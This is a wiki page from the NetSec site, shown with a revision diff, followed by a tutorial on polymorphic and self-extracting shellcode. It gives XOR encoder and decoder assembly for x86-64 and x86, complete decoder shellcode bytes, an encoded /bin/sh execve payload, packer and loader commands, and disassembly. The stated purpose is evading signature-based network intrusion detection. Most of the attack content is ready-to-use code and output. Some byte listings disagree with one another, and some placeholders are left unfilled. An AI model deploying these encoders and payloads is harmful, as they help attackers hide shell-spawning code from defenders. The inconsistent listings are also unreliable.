Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Shellcode/Self-modifying"

From NetSec
Jump to: navigation, search
Line 1: Line 1:
{{info|<center>The code and ideas discussed here are part of an [[shellcode|all-encompassing shellcode article]]. Everything described here and the full source of any given code is available in [[Shellcode/Appendix#Loaders|the appendix]], as well as in the downloadable [[shellcodecs]] package.</center>}}
+
[[Polymorphic]] and other self-modifying (such as self-extracting) [[shellcode]] can be used to obfuscate or help prevent the reverse engineering of the shellcode.  Additionally, it can help to prevent signature-based shellcode recognition on the network layer by [[NIDS]] or [[NIPS]] systems. The example in this article is based on [[Shellcode/Loaders|shellcode loaders]] ([[Shellcode/Appendix#Loaders|sources]]).  
 
+
[[Polymorphic]] and other self-modifying (such as self-extracting) [[shellcode]] can be used to obfuscate or help prevent the reverse engineering of the shellcode.  Additionally, it can help to prevent signature-based shellcode recognition on the network layer by [[NIDS]] or [[NIPS]] systems. The example in this article is based on [[Shellcode/Loaders|shellcode loaders]] ([[Shellcode/Appendix#Loaders|sources]]). Sources to the code in this section available in [[Shellcode/Appendix#Self-modifying|the appendix]] or by downloading [[shellcodecs]].
+
  
 +
{{info|<center>The code and ideas discussed here are part of an [[shellcode|all-encompassing shellcode portal]]. Everything described here and the full source of any given code is available in [[Shellcode/Appendix#Self-modifying|the appendix]], as well as in the downloadable [[shellcodecs]] package.</center>}}
 
== The encoder ==
 
== The encoder ==
  

Revision as of 02:41, 25 November 2012

Polymorphic and other self-modifying (such as self-extracting) shellcode can be used to obfuscate or help prevent the reverse engineering of the shellcode. Additionally, it can help to prevent signature-based shellcode recognition on the network layer by NIDS or NIPS systems. The example in this article is based on shellcode loaders (sources).

c3el4.png
The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of any given code is available in the appendix, as well as in the downloadable shellcodecs package.

The encoder

We will be using XOR encoding for this, but the method could easily be expanded. There are hundreds of encoding, encryption, and compression algorithms that could be implemented such as xor, inc, dec, add, sub, imul, idiv and any other function that can be reversed to its original state, this is just a small example. For this encoder, we will just count the characters in the shellcode and xor each character with 0x3 as we loop, then print the encoded binary. This binary can be written to file or piped to hexdump or ndisasm for further analysis.

64 bit

 
count_chars:
    cmpb %dil, (%rbx, %rsi, 1)
    je write
    xor $0x3, (%rbx, %rsi, 1)
    inc %rsi
    jmp count_chars                 #counts characters and xor encodes them
 
write:
    mov $0x1, %rax
    mov $0x1, %rdi
    mov %rsi, %rdx
    mov %rbx, %rsi
    syscall
 

In this 64 bit snippet of our encoder (//source can be found here:xxxxx//), we are counting the number of characters that were passed to the encoded as a command line argument. We begin by comparing the lowest bit of the %rdx register, %dil, which is zero and the first character of our argument we stored in %rbx. If the byte we tested is equal to zero we jump to our write label to print our encoded output to stdout. If the byte is not equal we xor it by 0x3 (note that 0x3 was chosen because the shellcode used does not contain this byte, this will need be to be changed if the shellcode has 0x3) and increment our counter which is stored in %rsi and jump back to the top of our counter label. The reason why we must count our characters as we process them is because the write syscall needs to know the number of bytes to print off the stack so instead of looping once to count the characters and looping again to encode them we simply combined the two processes to make our code faster and shorter.

32 bit

 
count_chars:
        cmpb %dl, (%ecx, %ebx, 1)
        je write
        xor $0x3, (%ecx, %ebx, 1)
        inc %ebx
        jmp count_chars                 #counts characters and xor encodes them
 
write:
        push $4
        pop %eax
        mov %ebx, %edx
        push $2
        pop %ebx
        int $0x80
 

The difference between the 64 bit and 32 bit code is subtle. The main difference is that in the compare instruction we are not comparing %dil, but rather %dl because the %dil register does not exist in 32 bit code. Another difference is the write label. It instead uses the 32 bit syscall calling convention (//link to calling conventions and sys tables//) for write instead of the 64 bit calling convention (//link to calling conventions and sys tables//).

The unpacker

Now, we will create our decoding shellcode, this will be essentially the same as the loader code with some changes.

First, we need to read the shellcode from the stack instead of as command line arguments. To do this, we will need to implement a getpc (//link to getpc code above//) function to retrieve the current instruction pointer so we can find our shellcode on the stack. When calling forwards, null bytes are added as operands to the call instruction unless call short is explicitly defined but ultimately it is always best to call backwards for multiple reasons (including the call stack). So, we start our code with a "jmp start" instruction.

 
jmp start
 

Getpc is called and the address of the next instruction is returned in %eax or %rbx based on architecture, then we add the number of bytes in the rest of the decoder code to it; this gets the absolute address of our encoded shellcode on the stack. To find our decoder offset we must first complete our decoder code and then run it through objdump. From there we will take our address immediately after the getpc call and subtract it from the last address of our decoder (remember to add some bytes to the last address for the instructions on that line.)

For example:

 
0804807b <start>:
 804807b:       e8 f7 ff ff ff          call   8048077 <getpc>
 8048080:       89 c2                   mov    %eax,%edx
 8048082:       83 c2 2a                add    $0x2a,%edx
 
 #shortened for easier reading
 
 80480a8:       cd 80                   int    $0x80
 
 

The address that would be returned from the getpc call would be 8048080 and our last address in the application is 80480a8 which we must add two bytes to since there is a 2 byte instruction on that line. The real end address of our decoder in this example would be 80480aa. From here we take our returned address and our ending address and substract them to find our offset to add. In this case the offset to add would be 0xAA - 0x80 which is 0x2A.

 
start:
    call getpc
    add $0x31,%rbx # add the length of the rest of the decoder to the instruction pointer to get the address of the encoded payload
 

Next, we push the address of the shellcode on the stack and call our "inject" function.

 
    push %rbx # push address of shellcode
    call inject
 

The call instruction pushes the address of the next instruction (where the program is supposed to return to) onto the stack and then jumps to the function, in this case that address will be our exit function. The return address (the address of exit) is then popped off of the stack. We pop our return address from the stack so that we can change our return address.

 
inject: 
    pop %rdi # pop the return address (to exit)
 

Then we initialize our copying loop:

 
    xor %rsi, %rsi # zero out counter
    push %rsi
    pop %rdi    
 

First we make sure that the encoded shellcode hasn't ended (our shellcode in this example is 0x20 terminated, choose a byte that is not used in your shellcode if 0x20 is in use).

 
inject_loop:
    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished
 

If not, we decode a single byte by xor'ing it against our encode-byte:

 
    movb (%rax, %rsi, 1), %r10b 
    xor $0x3, %r10b
 

Then we copy the xor'd byte back into the shellcode:

 
    movb %r10b, (%rax, %rsi, 1)
 

Now we increment our counter and start again at the beginning of inject_loop:

 
    inc %rsi
    jmp inject_loop
 


After the loop is completed, we append the ret opcode (0xc3) to the decoded shellcode.

 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rax, %rsi, 1) # append 0xc3 (the ret opcode)
 

Next, we form a call stack by pushing the original return address (the address of exit that we popped off the stack at the beginning of this function), and then the address of our shellcode and return. Because the address of our shellcode has replaced the address of exit on our stack, we will return into the shellcode, which will in turn return into our exit function, exiting cleanly.

 
    push %rdi                   # push original return address onto stack
    push %rax                   # push address of shellcode to stack
    ret                         # return into shellcode
 

When the shellcode finishes, it will execute the "ret" instruction we appended (0xc3) and return into exit; exiting cleanly.

Our complete decoder is:

\xeb\x2c\x5f\x48\x31\xf6\x56\x5f\x80\x3c\x33\x20\x74\x11\x44\x8a\x14\x33\x41\x80\xf2\x11\x44\x88\x14\x33\x48\xff\xc6\xeb\xe9\x48\xff\xc6\xc6\x04\x33\xc3\x57\x53\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x0e\x53\xe8\xc5\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05

Self-extracting code

Self-extracting shellcode can extract itself onto executable memory, to do this we will perform a call to mmap() as detailed in this section. We will use the same shellcode as before but with some changes. In the start function we will call mmap() and save the pointer in %rax. We push this onto the stack before the address to the shellcode and call inject. We pop this address into %rcx and inside the inject_loop we copy the xor'd byte into the mmap()'d memory instead of back into the shellcode. Finally, we return into the mmap()'d memory instead of the shellcode. The completed code:

 
inject_loop:
    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished
    movb (%rax, %rsi, 1), %r10b
    xor $0x3, %r10b
    movb %r10b, (%rcx, %rsi, 1)
    inc %rsi
    jmp inject_loop
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rcx, %rsi, 1)
    push %rdi
    push %rcx
    ret
 

Tying it together

To use this shellcode, your payload should look like:

 [decoder shellcode][encoded payload][0x20]

A usage example:

 ╭─user@host ~  
 ╰─➤    ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58
 \x0f\x05");" |hexdump -C |sed 's/^[0-9a-f]........//g' |sed 's/|.*|$//g' |sed 's/  / /g' |sed 's/ /\\x/g' |sed 's/\\x\\x//g' |sed 's/\\x$//g' |grep x |awk '{printf("%s ", $0)}' |sed 's/ //g'
\x4b\x32\xfc\x69\x6a\x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06
  • Add "\x20" to the end of our newly encoded shellcode as a terminator.
  • Append the newly terminated shellcode to the decoder shellcode.
  • Test the polymorphic code:
 ╭─user@host ~  
 ╰─➤  ./loader "$(echo -en 
 "\xeb\x2c\x5f\x48\x31\xf6\x56\x5f\x80\x3c\x33\x20\x74\x11\x44\x8a\x14\x33\x41\x80\xf2\x11\x44\x88\x14\x33\x48\xff\xc6\xeb\xe9\x48\xff\xc6\xc6\x04\x33
  \xc3\x57\x53\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x0e\x53\xe8\xc5\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05\x4b\x32\xfc\x69\x6a
  \x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06\x20")"
 [rorschach@bastille ~]$ exit
 exit
 ╭─user@host ~  
 ╰─➤  

When we encode the 34 byte /bin/sh shellcode and disassemble it, it looks like:

 
╭─user@host ~  
╰─➤  ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58 
\x0f\x05");" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode 
shellcode:     file format binary
Disassembly of section .data:
00000000 <.data>:
  0:	4b 32 fc             	rex.WXB xor %r12b,%dil
  3:	69 6a 5b 0c 06 54 54 	imul   $0x5454060c,0x5b(%rdx),%ebp
  a:	5d                   	pop    %rbp
  b:	59                   	pop    %rcx
  c:	4b bc 69 2c 61 6a 6d 	rex.WXB movabs $0x6b702c6d6a612c69,%r12
  13:	2c 70 6b 
  16:	4b c2 ec 0b          	rex.WXB retq $0xbec
  1a:	54                   	push   %rsp
  1b:	57                   	push   %rdi
  1c:	5c                   	pop    %rsp
  1d:	69 38 5b 0c 06 38    	imul   $0x38060c5b,(%rax),%edi
╭─rorschach@bastille ~  
╰─➤  
 

This doesn't look anything like an execve() routine. If we disassemble the entire payload we get:

 
╭─user@host ~  
╰─➤  echo -en  "\xeb\x2e\x5f\x58\x59\x48\x31\xf6\x56\x5f\x80\x3c\x30\x20\x74\x11\x44\x8a\x14\x30\x41\x80\xf2\x03\x44\x88\x14\x31\x48\xff\xc6\xeb\xe9\x48\xff\xc6
\xc6\x04\x31\xc3\x57\x51\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x31\x6a\x09\x58\x48\x31\xff\x57\x5e\x48\xff\xc6\x48\xc1\xe6\x12\x6a\x07\x5a\x6a
\x22\x41\x5a\x57\x57\x41\x58\x41\x59\x0f\x05\x50\x53\xe8\xa4\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05\x4b\x32\xfc\x69\x6a\x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc
\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06\x20" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode
 
shellcode:     file format binary
 
 
Disassembly of section .data:
 
00000000 <.data>:
   0:	eb 2e                	jmp    0x30
   2:	5f                   	pop    %rdi
   3:	58                   	pop    %rax
   4:	59                   	pop    %rcx
   5:	48 31 f6             	xor    %rsi,%rsi
   8:	56                   	push   %rsi
   9:	5f                   	pop    %rdi
   a:	80 3c 30 20          	cmpb   $0x20,(%rax,%rsi,1)
   e:	74 11                	je     0x21
  10:	44 8a 14 30          	mov    (%rax,%rsi,1),%r10b
  14:	41 80 f2 03          	xor    $0x3,%r10b
  18:	44 88 14 31          	mov    %r10b,(%rcx,%rsi,1)
  1c:	48 ff c6             	inc    %rsi
  1f:	eb e9                	jmp    0xa
  21:	48 ff c6             	inc    %rsi
  24:	c6 04 31 c3          	movb   $0xc3,(%rcx,%rsi,1)
  28:	57                   	push   %rdi
  29:	51                   	push   %rcx
  2a:	c3                   	retq   
  2b:	48 8b 1c 24          	mov    (%rsp),%rbx
  2f:	c3                   	retq   
  30:	e8 f6 ff ff ff       	callq  0x2b
  35:	48 83 c3 31          	add    $0x31,%rbx
  39:	6a 09                	pushq  $0x9
  3b:	58                   	pop    %rax
  3c:	48 31 ff             	xor    %rdi,%rdi
  3f:	57                   	push   %rdi
  40:	5e                   	pop    %rsi
  41:	48 ff c6             	inc    %rsi
  44:	48 c1 e6 12          	shl    $0x12,%rsi
  48:	6a 07                	pushq  $0x7
  4a:	5a                   	pop    %rdx
  4b:	6a 22                	pushq  $0x22
  4d:	41 5a                	pop    %r10
  4f:	57                   	push   %rdi
  50:	57                   	push   %rdi
  51:	41 58                	pop    %r8
  53:	41 59                	pop    %r9
  55:	0f 05                	syscall 
  57:	50                   	push   %rax
  58:	53                   	push   %rbx
  59:	e8 a4 ff ff ff       	callq  0x2
  5e:	6a 3c                	pushq  $0x3c
  60:	58                   	pop    %rax
  61:	48 31 ff             	xor    %rdi,%rdi
  64:	0f 05                	syscall 
  66:	4b 32 fc             	rex.WXB xor %r12b,%dil
  69:	69 6a 5b 0c 06 54 54 	imul   $0x5454060c,0x5b(%rdx),%ebp
  70:	5d                   	pop    %rbp
  71:	59                   	pop    %rcx
  72:	4b bc 69 2c 61 6a 6d 	rex.WXB movabs $0x6b702c6d6a612c69,%r12
  79:	2c 70 6b 
  7c:	4b c2 ec 0b          	rex.WXB retq $0xbec
  80:	54                   	push   %rsp
  81:	57                   	push   %rdi
  82:	5c                   	pop    %rsp
  83:	69 38 5b 0c 06 20    	imul   $0x20060c5b,(%rax),%edi